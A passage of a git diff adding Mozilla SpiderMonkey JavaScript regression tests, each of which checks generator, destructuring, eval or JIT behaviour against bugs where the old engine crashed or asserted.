+ expect = '1,2,3;4,5,6;7,8,9;';
+ actual = '';
+ for each (var [foo, bar, baz] in list2) {
+ actual += foo + "," + bar + "," + baz + ";";
+ }
+
+ reportCompare(expect, actual, summary + ': 2');
+
+ function gen(list) {
+ for each (var test in list) {
+ yield test;
+ }
+ }
+
+ var iter1 = gen(list1);
+
+ expect = '1,2;3,4;5,6;';
+ actual = '';
+
+ for (var [foo, bar] in iter1) {
+ actual += foo + "," + bar + ";";
+ }
+
+ reportCompare(expect, actual, summary + ': 3');
+
+ var iter2 = gen(list2);
+ expect = '1,2,3;4,5,6;7,8,9;';
+ actual = '';
+
+ for (var [foo, bar, baz] in iter2) {
+ actual += foo + "," + bar + "," + baz + ";";
+ }
+
+ reportCompare(expect, actual, summary + ': 4');
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/regress/regress-384412.js b/js/src/tests/js1_8/regress/regress-384412.js
new file mode 100644
index 000000000..55cbdf9c0
--- /dev/null
+++ b/js/src/tests/js1_8/regress/regress-384412.js
@@ -0,0 +1,98 @@
+// |reftest| skip-if(!xulRuntime.shell)
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 384412;
+var summary = 'Exercise frame handling code';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+/*
+ * Generators
+ */
+
+/* Generator yields properly */
+ f = (function(n) { for (var i = 0; i != n; i++) yield i });
+ g = f(3);
+ expect(0, g.next());
+ expect(1, g.next());
+ expect(2, g.next());
+ s = "no exception";
+ try { g.next(); } catch (e) { s = e + ""; }
+ expect("[object StopIteration]", s);
+
+/* Generator yields properly in finally */
+ f = (function(n) {
+ try {
+ for (var i = 0; i != n; i++)
+ yield i;
+ } finally {
+ yield "finally";
+ }
+ });
+
+ g = f(3);
+ expect(0, g.next());
+ expect(1, g.next());
+ expect(2, g.next());
+ expect("finally", g.next());
+
+/* Generator throws when closed with yield in finally */
+ g = f(3);
+ expect(0, g.next());
+ s = "no exception";
+ try { g.close(); } catch (e) { s = e + ""; };
+ expect("TypeError: yield from closing generator " + f.toSource(), s);
+
+
+/*
+ * Calls that have been replaced with js_PushFrame() &c...
+ */
+ f = (function() { return arguments[(arguments.length - 1) / 2]; });
+ expect(2, f(1, 2, 3));
+ expect(2, f.call(null, 1, 2, 3));
+ expect(2, f.apply(null, [1, 2, 3]));
+ expect("a1c", "abc".replace("b", f));
+ s = "no exception";
+ try {
+ "abc".replace("b", (function() { throw "hello" }));
+ } catch (e) {
+ s = e + "";
+ }
+ expect("hello", s);
+ expect(6, [1, 2, 3].reduce(function(a, b) { return a + b; }));
+ s = "no exception";
+ try {
+ [1, 2, 3].reduce(function(a, b) { if (b == 2) throw "hello"; });
+ } catch (e) {
+ s = e + "";
+ }
+ expect("hello", s);
+
+ print("End of Tests");
+
+/*
+ * Utility functions
+ */
+ function expect(a, b) {
+ print('expect: ' + a + ', actual: ' + b);
+ reportCompare(a, b, summary);
+ }
+
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/regress/regress-384758.js b/js/src/tests/js1_8/regress/regress-384758.js
new file mode 100644
index 000000000..fa8771b42
--- /dev/null
+++ b/js/src/tests/js1_8/regress/regress-384758.js
@@ -0,0 +1,36 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 384758;
+var summary = 'Statement can not follow expression closure with out intervening ;';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'SyntaxError: missing ; before statement';
+ try
+ {
+ eval('(function() { if(t) function x() foo() bar(); })');
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/regress/regress-404734.js b/js/src/tests/js1_8/regress/regress-404734.js
new file mode 100644
index 000000000..399c097c3
--- /dev/null
+++ b/js/src/tests/js1_8/regress/regress-404734.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 404734;
+var summary = 'Object destructuring shorthand';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var o = {p: 42, q: true};
+ var {p, q} = o;
+
+ expect = '42,true';
+ actual = p + ',' + q;
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/regress/regress-427798.js b/js/src/tests/js1_8/regress/regress-427798.js
new file mode 100644
index 000000000..b6ae35045
--- /dev/null
+++ b/js/src/tests/js1_8/regress/regress-427798.js
@@ -0,0 +1,58 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 427798;
+var summary = 'js_PutBlockObject is slow';
+var actual = 'Good result';
+var expect = 'Good result';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function f(N)
+ {
+ for (var i = 0; i != N; ++i) {
+ var f, g;
+ {
+ let j = i + 1;
+ f = function() { j += 2; return j; }
+ if (f() != i + 3)
+ throw "Bad result";
+ }
+ if (f() != i + 5)
+ throw "Bad result";
+ {
+ let j = i + 1, k = i + 2;
+ f = function() { j += 2; k++; return j + k; }
+ if (f() != i + i + 6)
+ throw "Bad result";
+ }
+ if (f() != i + i + 9)
+ throw "Bad result";
+ }
+ }
+
+ try
+ {
+ f(20*1000);
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/regress/regress-433279-01.js b/js/src/tests/js1_8/regress/regress-433279-01.js
new file mode 100644
index 000000000..d3bbbb595
--- /dev/null
+++ b/js/src/tests/js1_8/regress/regress-433279-01.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 433279;
+var summary = 'Do not assert: pn != tc->parseContext->nodeList';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var { sin, PI } = Math; sin(PI / 2);
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/regress/regress-433279-02.js b/js/src/tests/js1_8/regress/regress-433279-02.js
new file mode 100644
index 000000000..4fdf9f9a9
--- /dev/null
+++ b/js/src/tests/js1_8/regress/regress-433279-02.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 433279;
+var summary = 'Do not assert: pn != tc->parseContext->nodeList';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ eval('var {a} = b; c(d + 1);');
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/regress/regress-433279-03.js b/js/src/tests/js1_8/regress/regress-433279-03.js
new file mode 100644
index 000000000..2b4b9ef35
--- /dev/null
+++ b/js/src/tests/js1_8/regress/regress-433279-03.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 433279;
+var summary = 'Do not assert: pn != tc->parseContext->nodeList';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ eval('({a}) = b; with({}) { for(let y in z) { } }');
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/regress/regress-442333-01.js b/js/src/tests/js1_8/regress/regress-442333-01.js
new file mode 100644
index 000000000..4434da76e
--- /dev/null
+++ b/js/src/tests/js1_8/regress/regress-442333-01.js
@@ -0,0 +1,38 @@
+// |reftest| skip
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 442333;
+var summary = 'Remove eval\'s optional second argument';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'ReferenceError: a is not defined';
+ var o = {a : 1};
+
+ try
+ {
+ eval('a', o);
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/regress/regress-452491.js b/js/src/tests/js1_8/regress/regress-452491.js
new file mode 100644
index 000000000..13d569865
--- /dev/null
+++ b/js/src/tests/js1_8/regress/regress-452491.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452491;
+var summary = 'Do not crash with JIT: with new';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (var j=0;j<5;++j) (new (function(q) q)).a;
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/regress/regress-455981-01.js b/js/src/tests/js1_8/regress/regress-455981-01.js
new file mode 100644
index 000000000..06c3ea368
--- /dev/null
+++ b/js/src/tests/js1_8/regress/regress-455981-01.js
@@ -0,0 +1,36 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 455981;
+var summary = 'Do not assert: entry->localKind == JSLOCAL_ARG';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'SyntaxError: duplicate argument names not allowed in this context';
+
+ try
+ {
+ eval('(function ({a, b, c, d, e, f, g, h, q}, q) { })');
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/regress/regress-455981-02.js b/js/src/tests/js1_8/regress/regress-455981-02.js
new file mode 100644
index 000000000..e91086475
--- /dev/null
+++ b/js/src/tests/js1_8/regress/regress-455981-02.js
@@ -0,0 +1,36 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 455981;
+var summary = 'Do not assert: entry->localKind == JSLOCAL_ARG';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'SyntaxError: duplicate argument names not allowed in this context';
+
+ try
+ {
+ eval('(function ({a: {b: bb, c: cc, d: dd}, m: [x, n, o, p]}, x) {});');
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/regress/regress-457065-01.js b/js/src/tests/js1_8/regress/regress-457065-01.js
new file mode 100644
index 000000000..62f379179
--- /dev/null
+++ b/js/src/tests/js1_8/regress/regress-457065-01.js
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 457065;
+var summary = 'Do not assert: !fp->callee || fp->thisp == fp->argv[-1].toObjectOrNull()';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ var e = eval;
+ for (var a in this) { }
+ (function() { eval("this; for (let b in [0,1,2]) { }"); })();
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/regress/regress-457065-02.js b/js/src/tests/js1_8/regress/regress-457065-02.js
new file mode 100644
index 000000000..2b97ff225
--- /dev/null
+++ b/js/src/tests/js1_8/regress/regress-457065-02.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 457065;
+var summary = 'Do not assert: !fp->callee || fp->thisp == fp->argv[-1].toObjectOrNull()';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ (function(){ eval('this'); (function(){ for(let y in [0,1,2]) 6;})(); })();
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/regress/regress-458076.js b/js/src/tests/js1_8/regress/regress-458076.js
new file mode 100644
index 000000000..c2b7ab7a6
--- /dev/null
+++ b/js/src/tests/js1_8/regress/regress-458076.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 458076;
+var summary = 'Do not assert with JIT: !lhs->isQuad() && !rhs->isQuad()';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (let j = 0; j < 3; ++j) { true == 0; }
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/regress/regress-459185.js b/js/src/tests/js1_8/regress/regress-459185.js
new file mode 100644
index 000000000..fd31d462d
--- /dev/null
+++ b/js/src/tests/js1_8/regress/regress-459185.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 459185;
+var summary = 'Do not assert: pn->pn_arity == PN_BINARY';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ for (var {a: []} in []) { }
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/regress/regress-459186.js b/js/src/tests/js1_8/regress/regress-459186.js
new file mode 100644
index 000000000..0aeda8ede
--- /dev/null
+++ b/js/src/tests/js1_8/regress/regress-459186.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 459186;
+var summary = 'Do not crash in CheckDestructuring';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ for (var [,{y}] in []) {}
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/regress/regress-459389.js b/js/src/tests/js1_8/regress/regress-459389.js
new file mode 100644
index 000000000..9f84d9250
--- /dev/null
+++ b/js/src/tests/js1_8/regress/regress-459389.js
@@ -0,0 +1,118 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 459389;
+var summary = 'Do not crash with JIT';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+print('mmmm, food!');
+
+
+var SNI = {};
+SNI.MetaData={};
+SNI.MetaData.Parameter=function()
+{
+var parameters={};
+this.addParameter=function(key,value)
+{
+parameters[key]=[];
+parameters[key].push(value);
+};
+this.getParameter=function(key,separator){
+if(!parameters[key])
+{
+return;
+}
+return parameters[key].join(separator);
+};
+this.getKeys=function()
+{
+return parameters;
+};
+};
+SNI.MetaData.Manager=function(){
+var m=new SNI.MetaData.Parameter();
+this.getParameter=m.getParameter;
+};
+var MetaDataManager=SNI.MetaData.Manager;
+SNI.Ads={ };
+SNI.Ads.Url=function(){
+var p=new SNI.MetaData.Parameter();
+this.addParameter=p.addParameter;
+this.getParameter=p.getParameter;
+};
+function Ad() {
+var url=new SNI.Ads.Url();
+this.addParameter=url.addParameter;
+this.getParameter=url.getParameter;
+}
+function DartAd()
+AdUrl.prototype=new Ad();
+function AdUrl() { }
+function AdRestriction() {
+var p=new SNI.MetaData.Parameter();
+this.addParameter=p.addParameter;
+this.getParameter=p.getParameter;
+this.getKeys=p.getKeys;
+}
+function AdRestrictionManager(){
+this.restriction=[];
+this.isActive=isActive;
+this.isMatch=isMatch;
+this.startMatch=startMatch;
+function isActive(ad,mdm){
+var value=false;
+for(var i=0;i<this.restriction.length;i++)
+{
+adRestriction=this.restriction[i];
+value=this.startMatch(ad,mdm,adRestriction);
+}
+}
+function startMatch(ad,mdm,adRestriction){
+for(var key in adRestriction.getKeys()){
+var restrictions=adRestriction.getParameter(key,',');
+var value=mdm.getParameter(key,'');
+match=this.isMatch(value,restrictions);
+if(!match){
+value=ad.getParameter(key,'')
+match=this.isMatch(value,restrictions);
+}
+}
+}
+function isMatch(value,restrictions){
+var match=false;
+if(value)
+{
+splitValue=value.split('');
+for(var x=0;x<splitValue.length;x++){
+for(var a;a<restrictions.length;a++){ }
+}
+}
+return match;
+}
+}
+var adRestrictionManager = new AdRestrictionManager();
+var restrictionLeader6 = new AdRestriction();
+restrictionLeader6.addParameter("", "");
+adRestrictionManager.restriction.push(restrictionLeader6);
+var restrictionLeader7 = new AdRestriction();
+restrictionLeader7.addParameter("", "");
+adRestrictionManager.restriction.push(restrictionLeader7);
+function FoodAd(adtype)
+{
+ ad=new DartAd()
+ ad.addParameter("",adtype)
+ adRestrictionManager.isActive(ad, mdManager)
+}
+var mdManager = new MetaDataManager() ;
+ FoodAd('P')
+
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_8/regress/regress-461930.js b/js/src/tests/js1_8/regress/regress-461930.js
new file mode 100644
index 000000000..80626f2f9
--- /dev/null
+++ b/js/src/tests/js1_8/regress/regress-461930.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 461930;
+var summary = 'TM: Do not assert: count == _stats.pages';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ function gen() { for (let j = 0; j < 4; ++j) { yield 1; yield 2; gc(); } }
+ for (let i in gen()) { }
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/regress/regress-461932.js b/js/src/tests/js1_8/regress/regress-461932.js
new file mode 100644
index 000000000..5456fbd83
--- /dev/null
+++ b/js/src/tests/js1_8/regress/regress-461932.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 461932;
+var summary = 'TM: Do not crash in nanojit::LIns::isop';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ function gen() { for (var j = 0; j < 4; ++j) { NaN; yield 3; } }
+ for (let i in gen()) { }
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/regress/regress-463334-01.js b/js/src/tests/js1_8/regress/regress-463334-01.js
new file mode 100644
index 000000000..e30ee9560
--- /dev/null
+++ b/js/src/tests/js1_8/regress/regress-463334-01.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 463334;
+var summary = 'TM: Do not crash in isPromoteInt';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ u = 3;
+ for (let i in (function() { for (var j=0;j<4;++j) { void u; yield; } })());
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/regress/regress-463334-02.js b/js/src/tests/js1_8/regress/regress-463334-02.js
new file mode 100644
index 000000000..b0ccafd39
--- /dev/null
+++ b/js/src/tests/js1_8/regress/regress-463334-02.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 463334;
+var summary = 'TM: Do not crash in isPromoteInt';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (let i in
+ (function() { for (let j = 0; j < 4; ++j) with({t: NaN}) yield; })())
+ {
+ }
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/regress/regress-464096.js b/js/src/tests/js1_8/regress/regress-464096.js
new file mode 100644
index 000000000..8e699ebb6
--- /dev/null
+++ b/js/src/tests/js1_8/regress/regress-464096.js
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 464096;
+var summary = 'TM: Do not assert: tm->recoveryDoublePoolPtr > tm->recoveryDoublePool';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (let f in [1,1]);
+ Object.prototype.__defineGetter__('x', function() gc());
+ (function() { for each (let j in [1,1,1,1,1]) { var y = .2; } })();
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/regress/regress-464418.js b/js/src/tests/js1_8/regress/regress-464418.js
new file mode 100644
index 000000000..f05564006
--- /dev/null
+++ b/js/src/tests/js1_8/regress/regress-464418.js
@@ -0,0 +1,46 @@
+// |reftest| skip-if(Android)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 464418;
+var summary = 'Do not assert: fp->slots + fp->script->nfixed + ' +
+ 'js_ReconstructStackDepth(cx, fp->script, fp->regs->pc) == fp->regs->sp';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ if (typeof gczeal == 'function')
+ {
+ gczeal(2);
+ }
+
+ for (let q = 0; q < 50; ++q) {
+ new Function("for (var i = 0; i < 5; ++i) { } ")();
+ var w = "r".match(/r/);
+ new Function("for (var j = 0; j < 1; ++j) { } ")();
+ }
+
+
+ if (typeof gczeal == 'function')
+ {
+ gczeal(0);
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/regress/regress-464978.js b/js/src/tests/js1_8/regress/regress-464978.js
new file mode 100644
index 000000000..6f7001a98
--- /dev/null
+++ b/js/src/tests/js1_8/regress/regress-464978.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
